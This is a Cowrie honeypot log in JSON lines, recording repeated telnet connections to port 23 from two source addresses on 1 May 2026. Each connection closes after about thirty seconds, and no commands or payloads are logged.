{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53214,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4cb5e057516","protocol":"telnet","message":"New connection: 208.115.219.122:53214 (10.17.0.5:23) [session: a4cb5e057516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.920274Z"}
{"eventid":"cowrie.session.closed","duration":30.934622526168823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.022649Z","src_ip":"208.115.219.122","session":"a1870f985f24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45304,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ff04a0d62b","protocol":"telnet","message":"New connection: 208.115.200.90:45304 (10.17.0.5:23) [session: e4ff04a0d62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.028871Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba33126a931b","protocol":"telnet","message":"New connection: 208.115.219.122:53312 (10.17.0.5:23) [session: ba33126a931b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.101613Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53328,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f71579b2d37","protocol":"telnet","message":"New connection: 208.115.219.122:53328 (10.17.0.5:23) [session: 6f71579b2d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.116584Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45326,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e07fbd38118","protocol":"telnet","message":"New connection: 208.115.200.90:45326 (10.17.0.5:23) [session: 5e07fbd38118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.154814Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53358,"dst_ip":"10.17.0.5","dst_port":23,"session":"05dc7d2596f9","protocol":"telnet","message":"New connection: 208.115.219.122:53358 (10.17.0.5:23) [session: 05dc7d2596f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.165632Z"}
{"eventid":"cowrie.session.closed","duration":30.409191370010376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.316639Z","src_ip":"208.115.219.122","session":"2d2a3366eff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"02be333087ca","protocol":"telnet","message":"New connection: 208.115.219.122:53460 (10.17.0.5:23) [session: 02be333087ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.334598Z"}
{"eventid":"cowrie.session.closed","duration":31.023507595062256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.349545Z","src_ip":"208.115.219.122","session":"84df8f36af56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45402,"dst_ip":"10.17.0.5","dst_port":23,"session":"3add812abf8b","protocol":"telnet","message":"New connection: 208.115.200.90:45402 (10.17.0.5:23) [session: 3add812abf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.533885Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45488,"dst_ip":"10.17.0.5","dst_port":23,"session":"b570fcb90528","protocol":"telnet","message":"New connection: 208.115.200.90:45488 (10.17.0.5:23) [session: b570fcb90528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:11.692102Z"}
{"eventid":"cowrie.session.closed","duration":30.33745050430298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.021916Z","src_ip":"208.115.219.122","session":"1dff8c2fc181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914374351501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.045426Z","src_ip":"208.115.219.122","session":"3dfbbd3a1e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53916,"dst_ip":"10.17.0.5","dst_port":23,"session":"327e7ca0b00d","protocol":"telnet","message":"New connection: 208.115.219.122:53916 (10.17.0.5:23) [session: 327e7ca0b00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.051479Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"77471e65ef3a","protocol":"telnet","message":"New connection: 208.115.219.122:53932 (10.17.0.5:23) [session: 77471e65ef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.070408Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0ba1553c5e","protocol":"telnet","message":"New connection: 208.115.219.122:53944 (10.17.0.5:23) [session: bb0ba1553c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.074566Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53976,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87b29b3f7ce","protocol":"telnet","message":"New connection: 208.115.219.122:53976 (10.17.0.5:23) [session: e87b29b3f7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.124633Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53990,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae046051c6ba","protocol":"telnet","message":"New connection: 208.115.219.122:53990 (10.17.0.5:23) [session: ae046051c6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.216104Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45800,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b0a10d9a817","protocol":"telnet","message":"New connection: 208.115.200.90:45800 (10.17.0.5:23) [session: 4b0a10d9a817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.233631Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45874,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac037c78acaa","protocol":"telnet","message":"New connection: 208.115.200.90:45874 (10.17.0.5:23) [session: ac037c78acaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.464514Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c35fd131dc4","protocol":"telnet","message":"New connection: 208.115.200.90:45878 (10.17.0.5:23) [session: 0c35fd131dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.471557Z"}
{"eventid":"cowrie.session.closed","duration":31.17945623397827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.487397Z","src_ip":"208.115.219.122","session":"040dfe03c2ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45930,"dst_ip":"10.17.0.5","dst_port":23,"session":"56f5b03896d5","protocol":"telnet","message":"New connection: 208.115.200.90:45930 (10.17.0.5:23) [session: 56f5b03896d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.633858Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e03418c3a010","protocol":"telnet","message":"New connection: 208.115.219.122:54134 (10.17.0.5:23) [session: e03418c3a010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.883444Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4620cfa082","protocol":"telnet","message":"New connection: 208.115.219.122:54168 (10.17.0.5:23) [session: ab4620cfa082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:12.932673Z"}
{"eventid":"cowrie.session.closed","duration":30.959211826324463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.018455Z","src_ip":"208.115.219.122","session":"0380503a3458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99096918106079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.026313Z","src_ip":"208.115.219.122","session":"0044a69dab8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.612000226974487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.054629Z","src_ip":"208.115.219.122","session":"fbf6c5e345f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46038,"dst_ip":"10.17.0.5","dst_port":23,"session":"468f729ec6eb","protocol":"telnet","message":"New connection: 208.115.200.90:46038 (10.17.0.5:23) [session: 468f729ec6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.066724Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54224,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a7eb3a63f7","protocol":"telnet","message":"New connection: 208.115.219.122:54224 (10.17.0.5:23) [session: c7a7eb3a63f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.092003Z"}
{"eventid":"cowrie.session.closed","duration":30.23427152633667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.154537Z","src_ip":"208.115.219.122","session":"1ed567e4e737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557968616485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.173365Z","src_ip":"208.115.219.122","session":"dc2d6124bcf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54280,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5e4041f132b","protocol":"telnet","message":"New connection: 208.115.219.122:54280 (10.17.0.5:23) [session: c5e4041f132b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.195385Z"}
{"eventid":"cowrie.session.closed","duration":31.072190523147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.234347Z","src_ip":"208.115.200.90","session":"c799b6e1c602","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54290,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ba7954b6127","protocol":"telnet","message":"New connection: 208.115.219.122:54290 (10.17.0.5:23) [session: 4ba7954b6127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.242006Z"}
{"eventid":"cowrie.session.closed","duration":31.26819133758545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.376795Z","src_ip":"208.115.219.122","session":"9d3e3ef5ce01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.977357625961304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.411084Z","src_ip":"208.115.219.122","session":"392f5853ef26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60160803794861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.472533Z","src_ip":"208.115.219.122","session":"b7f8c5aecb38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404305696487427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.547455Z","src_ip":"208.115.219.122","session":"f2fc0de49d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46250,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f2a5040c518","protocol":"telnet","message":"New connection: 208.115.200.90:46250 (10.17.0.5:23) [session: 6f2a5040c518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.681842Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46290,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2fb554452b5","protocol":"telnet","message":"New connection: 208.115.200.90:46290 (10.17.0.5:23) [session: f2fb554452b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.736079Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46364,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1957c49c0d5","protocol":"telnet","message":"New connection: 208.115.200.90:46364 (10.17.0.5:23) [session: e1957c49c0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:13.867442Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d04bd30dc6","protocol":"telnet","message":"New connection: 208.115.200.90:46434 (10.17.0.5:23) [session: a7d04bd30dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.034956Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"31be1310ae10","protocol":"telnet","message":"New connection: 208.115.219.122:54292 (10.17.0.5:23) [session: 31be1310ae10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.059309Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46448,"dst_ip":"10.17.0.5","dst_port":23,"session":"f38225f42abb","protocol":"telnet","message":"New connection: 208.115.200.90:46448 (10.17.0.5:23) [session: f38225f42abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.237221Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56482,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f238f1c9fb","protocol":"telnet","message":"New connection: 208.115.200.90:56482 (10.17.0.5:23) [session: 38f238f1c9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.320629Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c4a697ccc7","protocol":"telnet","message":"New connection: 208.115.219.122:54312 (10.17.0.5:23) [session: 49c4a697ccc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.325314Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56508,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3763ac4940f","protocol":"telnet","message":"New connection: 208.115.200.90:56508 (10.17.0.5:23) [session: b3763ac4940f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.453089Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56520,"dst_ip":"10.17.0.5","dst_port":23,"session":"b23faf7f1a56","protocol":"telnet","message":"New connection: 208.115.200.90:56520 (10.17.0.5:23) [session: b23faf7f1a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.469716Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56524,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55a102dd24e","protocol":"telnet","message":"New connection: 208.115.200.90:56524 (10.17.0.5:23) [session: c55a102dd24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.473560Z"}
{"eventid":"cowrie.session.closed","duration":30.832372903823853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.546327Z","src_ip":"208.115.219.122","session":"7b9acf3e4a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56614,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dbb7593c71b","protocol":"telnet","message":"New connection: 208.115.200.90:56614 (10.17.0.5:23) [session: 8dbb7593c71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.697159Z"}
{"eventid":"cowrie.session.closed","duration":31.643941402435303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.792612Z","src_ip":"208.115.219.122","session":"81f829381949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbcc46ae013e","protocol":"telnet","message":"New connection: 208.115.200.90:56678 (10.17.0.5:23) [session: bbcc46ae013e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.800625Z"}
{"eventid":"cowrie.session.closed","duration":30.999871492385864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:14.858284Z","src_ip":"208.115.219.122","session":"52e090667316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3421893119812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.022257Z","src_ip":"208.115.219.122","session":"3fba8ae505b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54426,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23039d58134","protocol":"telnet","message":"New connection: 208.115.219.122:54426 (10.17.0.5:23) [session: a23039d58134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.034531Z"}
{"eventid":"cowrie.session.closed","duration":30.252957820892334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.041691Z","src_ip":"208.115.219.122","session":"c368d9b0a3c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82073473930359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.048232Z","src_ip":"208.115.219.122","session":"5c1911b7f778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773799657821655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.055175Z","src_ip":"208.115.219.122","session":"529ed5db2fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34902,"dst_ip":"10.17.0.5","dst_port":23,"session":"263ee06011bd","protocol":"telnet","message":"New connection: 208.115.219.122:34902 (10.17.0.5:23) [session: 263ee06011bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.081884Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34916,"dst_ip":"10.17.0.5","dst_port":23,"session":"029320ecc6f5","protocol":"telnet","message":"New connection: 208.115.219.122:34916 (10.17.0.5:23) [session: 029320ecc6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.095752Z"}
{"eventid":"cowrie.session.closed","duration":30.703463792800903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.158164Z","src_ip":"208.115.219.122","session":"3721a9a607f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4968c84e0c","protocol":"telnet","message":"New connection: 208.115.200.90:56876 (10.17.0.5:23) [session: ff4968c84e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.186371Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34926,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dee13e3a516","protocol":"telnet","message":"New connection: 208.115.219.122:34926 (10.17.0.5:23) [session: 6dee13e3a516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.274296Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34930,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a86bf45f2a1","protocol":"telnet","message":"New connection: 208.115.219.122:34930 (10.17.0.5:23) [session: 4a86bf45f2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.328585Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56902,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9087c2534a2","protocol":"telnet","message":"New connection: 208.115.200.90:56902 (10.17.0.5:23) [session: d9087c2534a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.416896Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34972,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b627da2fc3b","protocol":"telnet","message":"New connection: 208.115.219.122:34972 (10.17.0.5:23) [session: 0b627da2fc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.513982Z"}
{"eventid":"cowrie.session.closed","duration":31.2459979057312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.523200Z","src_ip":"208.115.200.90","session":"7e19e13976e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57100,"dst_ip":"10.17.0.5","dst_port":23,"session":"2127d9360e55","protocol":"telnet","message":"New connection: 208.115.200.90:57100 (10.17.0.5:23) [session: 2127d9360e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.622617Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32e427fd9e2","protocol":"telnet","message":"New connection: 208.115.200.90:57190 (10.17.0.5:23) [session: a32e427fd9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.691463Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab298ed9d89","protocol":"telnet","message":"New connection: 208.115.200.90:57380 (10.17.0.5:23) [session: 8ab298ed9d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:15.853362Z"}
{"eventid":"cowrie.session.closed","duration":30.875380754470825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.014046Z","src_ip":"208.115.219.122","session":"0b6da6c9149e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804511308670044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.023477Z","src_ip":"208.115.219.122","session":"f86927ccb905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57586,"dst_ip":"10.17.0.5","dst_port":23,"session":"84c8c30c57e0","protocol":"telnet","message":"New connection: 208.115.200.90:57586 (10.17.0.5:23) [session: 84c8c30c57e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.027287Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35206,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bde3e233286","protocol":"telnet","message":"New connection: 208.115.219.122:35206 (10.17.0.5:23) [session: 8bde3e233286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.039939Z"}
{"eventid":"cowrie.session.closed","duration":30.419779777526855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.045995Z","src_ip":"208.115.219.122","session":"03c0c5af6ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459646940231323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.070560Z","src_ip":"208.115.219.122","session":"7774ae66e124","protocol":"telnet"}
